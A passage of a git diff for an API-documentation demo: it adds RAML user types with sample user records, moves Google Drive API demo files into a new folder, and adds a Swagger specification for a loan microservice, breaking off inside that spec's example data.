jdoe@domain.com + age: 25 + newsletter: false diff --git a/demo/apis/examples-api/user.json b/demo/apis/examples-api/user.json new file mode 100644 index 0000000..78ec0ba --- /dev/null +++ b/demo/apis/examples-api/user.json @@ -0,0 +1,8 @@ +{ + "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", + "username": "char", + "firstName": "Charlie", + "lastName": "Brown", + "profilePhoto": "http://my-photos.com/char.jpg", + "email": "char@wash.com" +} diff --git a/demo/apis/examples-api/user.raml b/demo/apis/examples-api/user.raml new file mode 100644 index 0000000..41b2515 --- /dev/null +++ b/demo/apis/examples-api/user.raml @@ -0,0 +1,18 @@ +#%RAML 1.0 DataType +type: object +displayName: User +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email + age: integer + newsletter: boolean diff --git a/demo/apis/examples-api/users-json-example.raml b/demo/apis/examples-api/users-json-example.raml new file mode 100644 index 0000000..ee690b8 --- /dev/null +++ b/demo/apis/examples-api/users-json-example.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 DataType +type: object +displayName: User (JSON) +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email +example: !include users.json diff --git a/demo/apis/examples-api/users-raml-example.raml b/demo/apis/examples-api/users-raml-example.raml new file mode 100644 index 0000000..cab1f77 --- /dev/null +++ b/demo/apis/examples-api/users-raml-example.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 DataType +type: array +displayName: Users (RAML) +items: + properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email +examples: + User 1: + id: uid1 + username: ppsztyc + firstName: Pawel + lastName: Psztyc + profilePhoto: https://img/domain.com/ppsztyc + email: ppsztyc@domain.com + User 2: + id: uid2 + username: jdoe + firstName: John + lastName: Does + profilePhoto: https://img/domain.com/jdoe + email: jdoe@domain.com diff --git a/demo/apis/examples-api/users.json b/demo/apis/examples-api/users.json new file mode 100644 index 0000000..7ee2e03 --- /dev/null +++ b/demo/apis/examples-api/users.json @@ -0,0 +1,8 @@ +[{ + "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", + "username": "char", + "firstName": "Charlie", + "lastName": "Brown", + "profilePhoto": "http://my-photos.com/char.jpg", + "email": "char@wash.com" +}] diff --git a/demo/google-drive-api/docs/api/headline.md b/demo/apis/google-drive-api/docs/api/headline.md similarity index 100% rename from demo/google-drive-api/docs/api/headline.md rename to demo/apis/google-drive-api/docs/api/headline.md diff --git a/demo/google-drive-api/docs/search-for-file.md b/demo/apis/google-drive-api/docs/search-for-file.md similarity index 100% rename from demo/google-drive-api/docs/search-for-file.md rename to demo/apis/google-drive-api/docs/search-for-file.md diff --git a/demo/google-drive-api/docs/upload-files.md b/demo/apis/google-drive-api/docs/upload-files.md similarity index 100% rename from demo/google-drive-api/docs/upload-files.md rename to demo/apis/google-drive-api/docs/upload-files.md diff --git a/demo/google-drive-api/docs/uploadApi/headline.md b/demo/apis/google-drive-api/docs/uploadApi/headline.md similarity index 100% rename from demo/google-drive-api/docs/uploadApi/headline.md rename to demo/apis/google-drive-api/docs/uploadApi/headline.md diff --git a/demo/google-drive-api/docs/work-with-folders.md b/demo/apis/google-drive-api/docs/work-with-folders.md similarity index 100% rename from demo/google-drive-api/docs/work-with-folders.md rename to demo/apis/google-drive-api/docs/work-with-folders.md diff --git a/demo/google-drive-api/examples/about-example.json b/demo/apis/google-drive-api/examples/about-example.json similarity index 100% rename from demo/google-drive-api/examples/about-example.json rename to demo/apis/google-drive-api/examples/about-example.json diff --git a/demo/google-drive-api/examples/app-example.json b/demo/apis/google-drive-api/examples/app-example.json similarity index 100% rename from demo/google-drive-api/examples/app-example.json rename to demo/apis/google-drive-api/examples/app-example.json diff --git a/demo/google-drive-api/examples/app-list-example.json b/demo/apis/google-drive-api/examples/app-list-example.json similarity index 100% rename from demo/google-drive-api/examples/app-list-example.json rename to demo/apis/google-drive-api/examples/app-list-example.json diff --git a/demo/google-drive-api/examples/change-example.json b/demo/apis/google-drive-api/examples/change-example.json similarity index 100% rename from demo/google-drive-api/examples/change-example.json rename to demo/apis/google-drive-api/examples/change-example.json diff --git a/demo/google-drive-api/examples/changeList-example.json b/demo/apis/google-drive-api/examples/changeList-example.json similarity index 100% rename from demo/google-drive-api/examples/changeList-example.json rename to demo/apis/google-drive-api/examples/changeList-example.json diff --git a/demo/google-drive-api/examples/channel-example.json b/demo/apis/google-drive-api/examples/channel-example.json similarity index 100% rename from demo/google-drive-api/examples/channel-example.json rename to demo/apis/google-drive-api/examples/channel-example.json diff --git a/demo/google-drive-api/examples/childList-example.json b/demo/apis/google-drive-api/examples/childList-example.json similarity index 100% rename from demo/google-drive-api/examples/childList-example.json rename to demo/apis/google-drive-api/examples/childList-example.json diff --git a/demo/google-drive-api/examples/childReference-example.json b/demo/apis/google-drive-api/examples/childReference-example.json similarity index 100% rename from demo/google-drive-api/examples/childReference-example.json rename to demo/apis/google-drive-api/examples/childReference-example.json diff --git a/demo/google-drive-api/examples/comment-example.json b/demo/apis/google-drive-api/examples/comment-example.json similarity index 100% rename from demo/google-drive-api/examples/comment-example.json rename to demo/apis/google-drive-api/examples/comment-example.json diff --git a/demo/google-drive-api/examples/comment-reply-update-response.json b/demo/apis/google-drive-api/examples/comment-reply-update-response.json similarity index 100% rename from demo/google-drive-api/examples/comment-reply-update-response.json rename to demo/apis/google-drive-api/examples/comment-reply-update-response.json diff --git a/demo/google-drive-api/examples/commentCreateRequest-example.json b/demo/apis/google-drive-api/examples/commentCreateRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/commentCreateRequest-example.json rename to demo/apis/google-drive-api/examples/commentCreateRequest-example.json diff --git a/demo/google-drive-api/examples/commentList-example.json b/demo/apis/google-drive-api/examples/commentList-example.json similarity index 100% rename from demo/google-drive-api/examples/commentList-example.json rename to demo/apis/google-drive-api/examples/commentList-example.json diff --git a/demo/google-drive-api/examples/commentReply-example.json b/demo/apis/google-drive-api/examples/commentReply-example.json similarity index 100% rename from demo/google-drive-api/examples/commentReply-example.json rename to demo/apis/google-drive-api/examples/commentReply-example.json diff --git a/demo/google-drive-api/examples/commentReplyList-example.json b/demo/apis/google-drive-api/examples/commentReplyList-example.json similarity index 100% rename from demo/google-drive-api/examples/commentReplyList-example.json rename to demo/apis/google-drive-api/examples/commentReplyList-example.json diff --git a/demo/google-drive-api/examples/commentReplyRequest-example.json b/demo/apis/google-drive-api/examples/commentReplyRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/commentReplyRequest-example.json rename to demo/apis/google-drive-api/examples/commentReplyRequest-example.json diff --git a/demo/google-drive-api/examples/file-example.json b/demo/apis/google-drive-api/examples/file-example.json similarity index 100% rename from demo/google-drive-api/examples/file-example.json rename to demo/apis/google-drive-api/examples/file-example.json diff --git a/demo/google-drive-api/examples/fileList-example.json b/demo/apis/google-drive-api/examples/fileList-example.json similarity index 100% rename from demo/google-drive-api/examples/fileList-example.json rename to demo/apis/google-drive-api/examples/fileList-example.json diff --git a/demo/google-drive-api/examples/newFileRequest-example.json b/demo/apis/google-drive-api/examples/newFileRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/newFileRequest-example.json rename to demo/apis/google-drive-api/examples/newFileRequest-example.json diff --git a/demo/google-drive-api/examples/parentList-example.json b/demo/apis/google-drive-api/examples/parentList-example.json similarity index 100% rename from demo/google-drive-api/examples/parentList-example.json rename to demo/apis/google-drive-api/examples/parentList-example.json diff --git a/demo/google-drive-api/examples/parentReference-example.json b/demo/apis/google-drive-api/examples/parentReference-example.json similarity index 100% rename from demo/google-drive-api/examples/parentReference-example.json rename to demo/apis/google-drive-api/examples/parentReference-example.json diff --git a/demo/google-drive-api/examples/permission-example.json b/demo/apis/google-drive-api/examples/permission-example.json similarity index 100% rename from demo/google-drive-api/examples/permission-example.json rename to demo/apis/google-drive-api/examples/permission-example.json diff --git a/demo/google-drive-api/examples/permissionId-example.json b/demo/apis/google-drive-api/examples/permissionId-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionId-example.json rename to demo/apis/google-drive-api/examples/permissionId-example.json diff --git a/demo/google-drive-api/examples/permissionList-example.json b/demo/apis/google-drive-api/examples/permissionList-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionList-example.json rename to demo/apis/google-drive-api/examples/permissionList-example.json diff --git a/demo/google-drive-api/examples/permissionRequest-example.json b/demo/apis/google-drive-api/examples/permissionRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionRequest-example.json rename to demo/apis/google-drive-api/examples/permissionRequest-example.json diff --git a/demo/google-drive-api/examples/permissionUpdateRequest-example.json b/demo/apis/google-drive-api/examples/permissionUpdateRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionUpdateRequest-example.json rename to demo/apis/google-drive-api/examples/permissionUpdateRequest-example.json diff --git a/demo/google-drive-api/examples/property-example.json b/demo/apis/google-drive-api/examples/property-example.json similarity index 100% rename from demo/google-drive-api/examples/property-example.json rename to demo/apis/google-drive-api/examples/property-example.json diff --git a/demo/google-drive-api/examples/propertyList-example.json b/demo/apis/google-drive-api/examples/propertyList-example.json similarity index 100% rename from demo/google-drive-api/examples/propertyList-example.json rename to demo/apis/google-drive-api/examples/propertyList-example.json diff --git a/demo/google-drive-api/examples/revision-example.json b/demo/apis/google-drive-api/examples/revision-example.json similarity index 100% rename from demo/google-drive-api/examples/revision-example.json rename to demo/apis/google-drive-api/examples/revision-example.json diff --git a/demo/google-drive-api/examples/revisionList-example.json b/demo/apis/google-drive-api/examples/revisionList-example.json similarity index 100% rename from demo/google-drive-api/examples/revisionList-example.json rename to demo/apis/google-drive-api/examples/revisionList-example.json diff --git a/demo/google-drive-api/examples/revisionUpdateRequest-example.json b/demo/apis/google-drive-api/examples/revisionUpdateRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/revisionUpdateRequest-example.json rename to demo/apis/google-drive-api/examples/revisionUpdateRequest-example.json diff --git a/demo/google-drive-api/examples/stopWatchingRequest-example.json b/demo/apis/google-drive-api/examples/stopWatchingRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/stopWatchingRequest-example.json rename to demo/apis/google-drive-api/examples/stopWatchingRequest-example.json diff --git a/demo/google-drive-api/examples/watchRequest-example.json b/demo/apis/google-drive-api/examples/watchRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/watchRequest-example.json rename to demo/apis/google-drive-api/examples/watchRequest-example.json diff --git a/demo/google-drive-api/google-drive-api.raml b/demo/apis/google-drive-api/google-drive-api.raml similarity index 100% rename from demo/google-drive-api/google-drive-api.raml rename to demo/apis/google-drive-api/google-drive-api.raml diff --git a/demo/google-drive-api/libraries/about-lib.raml b/demo/apis/google-drive-api/libraries/about-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/about-lib.raml rename to demo/apis/google-drive-api/libraries/about-lib.raml diff --git a/demo/google-drive-api/libraries/annotations.raml b/demo/apis/google-drive-api/libraries/annotations.raml similarity index 100% rename from demo/google-drive-api/libraries/annotations.raml rename to demo/apis/google-drive-api/libraries/annotations.raml diff --git a/demo/google-drive-api/libraries/app-lib.raml b/demo/apis/google-drive-api/libraries/app-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/app-lib.raml rename to demo/apis/google-drive-api/libraries/app-lib.raml diff --git a/demo/google-drive-api/libraries/child-lib.raml b/demo/apis/google-drive-api/libraries/child-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/child-lib.raml rename to demo/apis/google-drive-api/libraries/child-lib.raml diff --git a/demo/google-drive-api/libraries/comment-lib.raml b/demo/apis/google-drive-api/libraries/comment-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/comment-lib.raml rename to demo/apis/google-drive-api/libraries/comment-lib.raml diff --git a/demo/google-drive-api/libraries/file-lib.raml b/demo/apis/google-drive-api/libraries/file-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/file-lib.raml rename to demo/apis/google-drive-api/libraries/file-lib.raml diff --git a/demo/google-drive-api/libraries/parent-lib.raml b/demo/apis/google-drive-api/libraries/parent-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/parent-lib.raml rename to demo/apis/google-drive-api/libraries/parent-lib.raml diff --git a/demo/google-drive-api/libraries/permission-lib.raml b/demo/apis/google-drive-api/libraries/permission-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/permission-lib.raml rename to demo/apis/google-drive-api/libraries/permission-lib.raml diff --git a/demo/google-drive-api/libraries/properties-lib.raml b/demo/apis/google-drive-api/libraries/properties-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/properties-lib.raml rename to demo/apis/google-drive-api/libraries/properties-lib.raml diff --git a/demo/google-drive-api/libraries/revision-lib.raml b/demo/apis/google-drive-api/libraries/revision-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/revision-lib.raml rename to demo/apis/google-drive-api/libraries/revision-lib.raml diff --git a/demo/google-drive-api/libraries/watch-lib.raml b/demo/apis/google-drive-api/libraries/watch-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/watch-lib.raml rename to demo/apis/google-drive-api/libraries/watch-lib.raml diff --git a/demo/google-drive-api/securitySchemes/oauth_2_0.raml b/demo/apis/google-drive-api/securitySchemes/oauth_2_0.raml similarity index 100% rename from demo/google-drive-api/securitySchemes/oauth_2_0.raml rename to demo/apis/google-drive-api/securitySchemes/oauth_2_0.raml diff --git a/demo/google-drive-api/traits/file.raml b/demo/apis/google-drive-api/traits/file.raml similarity index 100% rename from demo/google-drive-api/traits/file.raml rename to demo/apis/google-drive-api/traits/file.raml diff --git a/demo/google-drive-api/traits/results.raml b/demo/apis/google-drive-api/traits/results.raml similarity index 100% rename from demo/google-drive-api/traits/results.raml rename to demo/apis/google-drive-api/traits/results.raml diff --git a/demo/google-drive-api/traits/visibility.raml b/demo/apis/google-drive-api/traits/visibility.raml similarity index 100% rename from demo/google-drive-api/traits/visibility.raml rename to demo/apis/google-drive-api/traits/visibility.raml diff --git a/demo/google-drive-api/types/additional-role-info.raml b/demo/apis/google-drive-api/types/additional-role-info.raml similarity index 100% rename from demo/google-drive-api/types/additional-role-info.raml rename to demo/apis/google-drive-api/types/additional-role-info.raml diff --git a/demo/google-drive-api/types/channels-stop.raml b/demo/apis/google-drive-api/types/channels-stop.raml similarity index 100% rename from demo/google-drive-api/types/channels-stop.raml rename to demo/apis/google-drive-api/types/channels-stop.raml diff --git a/demo/google-drive-api/types/export-format.raml b/demo/apis/google-drive-api/types/export-format.raml similarity index 100% rename from demo/google-drive-api/types/export-format.raml rename to demo/apis/google-drive-api/types/export-format.raml diff --git a/demo/google-drive-api/types/feature.raml b/demo/apis/google-drive-api/types/feature.raml similarity index 100% rename from demo/google-drive-api/types/feature.raml rename to demo/apis/google-drive-api/types/feature.raml diff --git a/demo/google-drive-api/types/file-capabilities.raml b/demo/apis/google-drive-api/types/file-capabilities.raml similarity index 100% rename from demo/google-drive-api/types/file-capabilities.raml rename to demo/apis/google-drive-api/types/file-capabilities.raml diff --git a/demo/google-drive-api/types/file-labels.raml b/demo/apis/google-drive-api/types/file-labels.raml similarity index 100% rename from demo/google-drive-api/types/file-labels.raml rename to demo/apis/google-drive-api/types/file-labels.raml diff --git a/demo/google-drive-api/types/icon.raml b/demo/apis/google-drive-api/types/icon.raml similarity index 100% rename from demo/google-drive-api/types/icon.raml rename to demo/apis/google-drive-api/types/icon.raml diff --git a/demo/google-drive-api/types/import-format.raml b/demo/apis/google-drive-api/types/import-format.raml similarity index 100% rename from demo/google-drive-api/types/import-format.raml rename to demo/apis/google-drive-api/types/import-format.raml diff --git a/demo/google-drive-api/types/new-drive-file.raml b/demo/apis/google-drive-api/types/new-drive-file.raml similarity index 100% rename from demo/google-drive-api/types/new-drive-file.raml rename to demo/apis/google-drive-api/types/new-drive-file.raml diff --git a/demo/google-drive-api/types/owners.raml b/demo/apis/google-drive-api/types/owners.raml similarity index 100% rename from demo/google-drive-api/types/owners.raml rename to demo/apis/google-drive-api/types/owners.raml diff --git a/demo/google-drive-api/types/picture.raml b/demo/apis/google-drive-api/types/picture.raml similarity index 100% rename from demo/google-drive-api/types/picture.raml rename to demo/apis/google-drive-api/types/picture.raml diff --git a/demo/google-drive-api/types/property.raml b/demo/apis/google-drive-api/types/property.raml similarity index 100% rename from demo/google-drive-api/types/property.raml rename to demo/apis/google-drive-api/types/property.raml diff --git a/demo/google-drive-api/types/resource.raml b/demo/apis/google-drive-api/types/resource.raml similarity index 100% rename from demo/google-drive-api/types/resource.raml rename to demo/apis/google-drive-api/types/resource.raml diff --git a/demo/google-drive-api/types/role-set.raml b/demo/apis/google-drive-api/types/role-set.raml similarity index 100% rename from demo/google-drive-api/types/role-set.raml rename to demo/apis/google-drive-api/types/role-set.raml diff --git a/demo/google-drive-api/types/service-quota.raml b/demo/apis/google-drive-api/types/service-quota.raml similarity index 100% rename from demo/google-drive-api/types/service-quota.raml rename to demo/apis/google-drive-api/types/service-quota.raml diff --git a/demo/google-drive-api/types/standard-request.raml b/demo/apis/google-drive-api/types/standard-request.raml similarity index 100% rename from demo/google-drive-api/types/standard-request.raml rename to demo/apis/google-drive-api/types/standard-request.raml diff --git a/demo/google-drive-api/types/team-drive-list.raml b/demo/apis/google-drive-api/types/team-drive-list.raml similarity index 100% rename from demo/google-drive-api/types/team-drive-list.raml rename to demo/apis/google-drive-api/types/team-drive-list.raml diff --git a/demo/google-drive-api/types/team-drive.raml b/demo/apis/google-drive-api/types/team-drive.raml similarity index 100% rename from demo/google-drive-api/types/team-drive.raml rename to demo/apis/google-drive-api/types/team-drive.raml diff --git a/demo/google-drive-api/types/thumbnail.raml b/demo/apis/google-drive-api/types/thumbnail.raml similarity index 100% rename from demo/google-drive-api/types/thumbnail.raml rename to demo/apis/google-drive-api/types/thumbnail.raml diff --git a/demo/google-drive-api/types/upload-size.raml b/demo/apis/google-drive-api/types/upload-size.raml similarity index 100% rename from demo/google-drive-api/types/upload-size.raml rename to demo/apis/google-drive-api/types/upload-size.raml diff --git a/demo/google-drive-api/types/user.raml b/demo/apis/google-drive-api/types/user.raml similarity index 100% rename from demo/google-drive-api/types/user.raml rename to demo/apis/google-drive-api/types/user.raml diff --git a/demo/lib-fragment/lib-fragment.raml b/demo/apis/lib-fragment/lib-fragment.raml similarity index 100% rename from demo/lib-fragment/lib-fragment.raml rename to demo/apis/lib-fragment/lib-fragment.raml diff --git a/demo/apis/loan-ms/loan-microservice.json b/demo/apis/loan-ms/loan-microservice.json new file mode 100644 index 0000000..9c897b1 --- /dev/null +++ b/demo/apis/loan-ms/loan-microservice.json @@ -0,0 +1,699 @@ +{ + "swagger" : "2.0", + "info" : { + "description" : "Loan microservice contains set of fine grained services to handle with all the loan related informations like, update the User information, generate uinque application id, fetch the nearest branch details, vehicle make and other related information.", + "version" : "version-1.0.3", + "title" : "Loan Microservice", + "termsOfService" : "Terms of service", + "contact" : { + "name" : "John Becker", + "email" : "JohnBecker@cognizant.com", + "url": "http://domain.com" + }, + "license": { + "name": "Apache 2.0", + "url": "https://www.apache.org/licenses/LICENSE-2.0.html" + } + }, + "host" : "localhost:8081", + "basePath" : "/api", + "schemes":[ + "http", + "https" + ], + "tags" : [ { + "name" : "loan-application-controller", + "description" : "Loan Application Controller" + } ], + "paths" : { + "/branchdetail" : { + "get" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Fetch Branch Details", + "description" : "Service to fetch the Branch Details based on the Given Zip code", + "operationId" : "fetchBranchDetailsUsingGET", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "name" : "zipCode", + "in" : "query", + "description" : "Input the zipcode value to get the branches available in the location", + "required" : true, + "type" : "string" + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved branch details", + "schema" : { + "$ref" : "#/definitions/Branch" + }, + "headers" : { + "Branch" : { + "type" : "string", + "description" : "The fetched branch resource" + } + } + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + }, + "/loanapplication" : { + "post" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Submit Loan Application", + "description" : "Service to Create a Loan Applicaiton Details", + "operationId" : "saveLoanApplicationDetailsUsingPOST", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "in" : "body", + "name" : "loanApplication", + "description" : "Input the loanapplication object to save the loan details to the service", + "required" : true, + "schema" : { + "$ref" : "#/definitions/LoanApplication" + } + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved loan application", + "schema" : { + "$ref" : "#/definitions/Application" + }, + "headers" : { + "Application" : { + "type" : "string", + "description" : "The submitted Loan resource" + } + } + }, + "201" : { + "description" : "Created" + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + }, + "/username" : { + "get" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Find ApplicationId", + "description" : "Service to find application id based on user name", + "operationId" : "findByUserNameUsingGET", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "name" : "userName", + "in" : "query", + "description" : "Input the username to fetch the application details available for the user", + "required" : true, + "type" : "string" + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved account details", + "schema" : { + "type" : "string" + }, + "headers" : { + "ApplicationId" : { + "type" : "string", + "description" : "The fetched ApplicationId resource" + } + } + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + }, + "/vehicledetail" : { + "get" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Find Vehicle Details", + "description" : "Service to find the vehicle model based on vehicle make", + "operationId" : "findByVehicleModelUsingGET", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "name" : "vehicleMake", + "in" : "query", + "description" : "Input the vehiclemake value to retrieve the vehicle details", + "required" : true, + "type" : "string" + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved vechicle details", + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/definitions/VehicleDetail" + } + }, + "headers" : { + "VehicleDetail" : { + "type" : "string", + "description" : "The fetched VehicleDetail resource" + } + } + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + } + }, + "definitions" : { + "Vehicle" : { + "type" : "object", + "properties" : { + "approxMileage" : { + "type" : "string" + }, + "city" : { + "type" : "string" + }, + "estimatedValue" : { + "type" : "integer", + "format" : "int32" + }, + "regState" : { + "type" : "string" + }, + "sellerAddress" : { + "type" : "string" + }, + "sellerName" : { + "type" : "string" + }, + "state" : { + "type" : "string" + }, + "street" : { + "type" : "string" + }, + "transactionType" : { + "type" : "string" + }, + "vehIdentNo" : { + "type" : "string" + }, + "vehicleId" : { + "type" : "integer", + "format" : "int32" + }, + "vehicleMake" : { + "type" : "string" + }, + "vehicleModel" : { + "type" : "string" + }, + "vehicleType" : { + "type" : "string" + }, + "vehicleYear" : { + "type" : "integer", + "format" : "int32" + }, + "zipCode" : { + "type" : "string" + } + }, + "example" : { + "zipCode" : "zipCode", + "city" : "city", + "sellerName" : "sellerName", + "sellerAddress" : "sellerAddress", + "vehicleMake" : "vehicleMake", + "transactionType" : "transactionType", + "estimatedValue" : 7, + "vehicleYear" : 1, + "street" : "street", + "approxMileage" : "approxMileage", + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "regState" : "regState", + "state" : "state", + "vehicleId" : 1, + "vehicleType" : "vehicleType" + } + }, + "VehicleDetail" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string" + }, + "vehIdentNo" : { + "type" : "string" + }, + "vehicleDetailsId" : { + "type" : "integer", + "format" : "int32" + }, + "vehicleMake" : { + "type" : "string" + }, + "vehicleModel" : { + "type" : "string" + }, + "vehicleType" : { + "type" : "string" + }, + "vehicleYear" : { + "type" : "integer", + "format" : "int32" + } + }, + "example" : { + "vehicleYear" : 6, + "vehicleDetailsId" : 0, + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "id" : "id", + "vehicleMake" : "vehicleMake", + "vehicleType" : "vehicleType" + } + }, + "User" : { + "type" : "object", + "properties" : { + "addTypePrevious" : { + "type" : "string" + }, + "addTypePrimary" : { + "type" : "string" + }, + "annualIncome" : { + "type" : "integer" + }, + "anyPoliticalRelationship" : { + "type" : "boolean" + }, + "apartmentNo" : { + "type" : "string" + }, + "citizenOf" : { + "type" : "boolean" + }, + "city" : { + "type" : "string" + }, + "dateOfBirth" : { + "type" : "string", + "format" : "date-time" + }, + "email" : { + "type" : "string" + }, + "firstName" : { + "type" : "string" + }, + "housingStatus" : { + "type" : "string" + }, + "initial" : { + "type" : "string" + }, + "lastName" : { + "type" : "string" + }, + "monthlyPayment" : { + "type" : "integer" + }, + "monthsAtCurrAdd" : { + "type" : "integer", + "format" : "int32" + }, + "otherIncome" : { + "type" : "string" + }, + "permanentResidence" : { + "type" : "boolean" + }, + "phoneNo" : { + "type" : "integer", + "format" : "int32" + }, + "ssn" : { + "type" : "integer", + "format" : "int32" + }, + "state" : { + "type" : "string" + }, + "street" : { + "type" : "string" + }, + "suffix" : { + "type" : "string" + }, + "uid" : { + "type" : "integer", + "format" : "int32" + }, + "userName" : { + "type" : "string" + }, + "yearsAtCurrAdd" : { + "type" : "integer", + "format" : "int32" + }, + "zipCode" : { + "type" : "string" + } + }, + "example" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + }, + "Branch" : { + "type" : "object", + "properties" : { + "apartmentNo" : { + "type" : "string" + }, + "branchId" : { + "type" : "integer", + "format" : "int32" + }, + "branchName" : { + "type" : "string" + }, + "city" : { + "type" : "string" + }, + "contactPerson" : { + "type" : "string" + }, + "phoneNo" : { + "type" : "string" + }, + "state" : { + "type" : "string" + }, + "street" : { + "type" : "string" + }, + "zipCode" : { + "type" : "string" + } + }, + "example" : { + "apartmentNo" : "apartmentNo", + "branchId" : 0, + "zipCode" : "zipCode", + "city" : "city", + "street" : "street", + "branchName" : "branchName", + "contactPerson" : "contactPerson", + "state" : "state", + "phoneNo" : "phoneNo" + } + }, + "LoanApplication" : { + "type" : "object", + "properties" : { + "application" : { + "$ref" : "#/definitions/Application" + }, + "user" : { + "$ref" : "#/definitions/User" + } + }, + "example" : { + "application" : { + "pendingWith" : "pendingWith", + "requestedAmt" : 1, + "applicationState" : "applicationState", + "ownerShip" : "ownerShip", + "userName" : "userName", + "branch" : { + "apartmentNo" : "apartmentNo", + "branchId" : 0, + "zipCode" : "zipCode", + "city" : "city", + "street" : "street", + "branchName" : "branchName", + "contactPerson" : "contactPerson", + "state" : "state", + "phoneNo" : "phoneNo" + }, + "vehicle" : { + "zipCode" : "zipCode", + "city" : "city", + "sellerName" : "sellerName", + "sellerAddress" : "sellerAddress", + "vehicleMake" : "vehicleMake", + "transactionType" : "transactionType", + "estimatedValue" : 7, + "vehicleYear" : 1, + "street" : "street", + "approxMileage" : "approxMileage", + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "regState" : "regState", + "state" : "state", + "vehicleId" : 1, + "vehicleType" : "vehicleType" + }, + "loanYearPeriod" : 6, + "uid" : 5, + "loanTerm" : 0, + "applicationStatus" : "applicationStatus", + "applicationId" : "applicationId", + "user" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + }, + "user" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + 